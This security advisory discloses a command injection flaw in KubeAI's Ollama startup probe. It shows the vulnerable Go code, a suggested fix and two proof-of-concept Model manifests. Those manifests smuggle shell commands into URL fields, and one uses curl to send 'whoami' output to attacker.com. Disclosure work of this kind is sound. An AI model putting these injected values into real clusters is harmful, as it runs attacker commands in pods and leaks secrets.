CHAMP: Description

Summary

The ollamaStartupProbeScript() function in internal/modelcontroller/engine_ollama.go constructs a shell command string using fmt.Sprintf with unsanitized model URL components (ref, modelParam). This shell command is executed via bash -c as a Kubernetes startup probe. An attacker who can create or update Model custom resources can inject arbitrary shell commands that execute inside model server pods.

Details

The parseModelURL() function in internal/modelcontroller/model_source.go uses a regex (^([a-z0-9]+):\/\/([^?]+)(\?.*)?$) to parse model URLs. The ref component (capture group 2) matches [^?]+, allowing any characters except ?, including shell metacharacters like ;, |, $(), and backticks.

The ?model= query parameter (modelParam) is also extracted without any sanitization.

Vulnerable code (permalink):

func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
    startupScript := ""
    if u.scheme == "pvc" {
        startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.modelParam, m.Name)
    } else {
        if u.pull {
            pullCmd := "/bin/ollama pull"
            if u.insecure {
                pullCmd += " --insecure"
            }
            startupScript = fmt.Sprintf("%s %s && /bin/ollama cp %s %s", pullCmd, u.ref, u.ref, m.Name)
        } else {
            startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.ref, m.Name)
        }
    }
    // ...
    return startupScript
}

This script is then used as a bash -c startup probe (permalink):

StartupProbe: &corev1.Probe{
    ProbeHandler: corev1.ProbeHandler{
        Exec: &corev1.ExecAction{
            Command: []string{"bash", "-c", startupProbeScript},
        },
    },
},

Compare with the vLLM engine which safely passes the model ref as a command-line argument (not through a shell):

// engine_vllm.go - safe: args are passed directly, no shell involved
args := []string{
    "--model=" + vllmModelFlag,
    "--served-model-name=" + m.Name,
}

URL parsing (permalink):

var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)

func parseModelURL(urlStr string) (modelURL, error) {
    // ref = matches[2] -> [^?]+ allows shell metacharacters
    // modelParam from ?model= query param -> completely unsanitized
}

There is no admission webhook or CRD validation that sanitizes the URL field.

PoC

Attack vector 1: Command injection via ollama:// URL ref

apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
  minReplicas: 1
  maxReplicas: 1

The startup probe script becomes:

/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && /bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject && /bin/ollama run poc-cmd-inject hi

The injected id>/tmp/pwned command executes inside the pod.

Attack vector 2: Command injection via ?model= query parameter

apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject-pvc
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
  minReplicas: 1
  maxReplicas: 1

The startup probe script becomes:

/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc && /bin/ollama run poc-cmd-inject-pvc hi

Impact

1. Arbitrary command execution inside model server pods by any user with Model CRD create/update RBAC
2. In multi-tenant Kubernetes clusters, a tenant with Model creation permissions (but not cluster-admin) can execute arbitrary commands in model pods, potentially accessing secrets, service account tokens, or lateral-moving to other cluster resources
3. Data exfiltration from the model pod's environment (environment variables, mounted secrets, service account tokens)
4. Compromise of the model serving infrastructure

Suggested Fix

Replace the bash -c startup probe with either:

1. An exec probe that passes arguments as separate array elements (like the vLLM engine does), or
2. Validate/sanitize u.ref and u.modelParam to only allow alphanumeric characters, slashes, colons, dots, and hyphens before interpolating into the shell command

Example fix:

// Option 1: Use separate args instead of bash -c
Command: []string{"/bin/ollama", "pull", u.ref}

// Option 2: Sanitize inputs
var safeModelRef = regexp.MustCompile(`^[a-zA-Z0-9._:/-]+$`)
if !safeModelRef.MatchString(u.ref) {
    return "", fmt.Errorf("invalid model reference: %s", u.ref)
}

References

• GHSA-324q-cwx9-7crr
• https://nvd.nist.gov/vuln/detail/CVE-2026-34940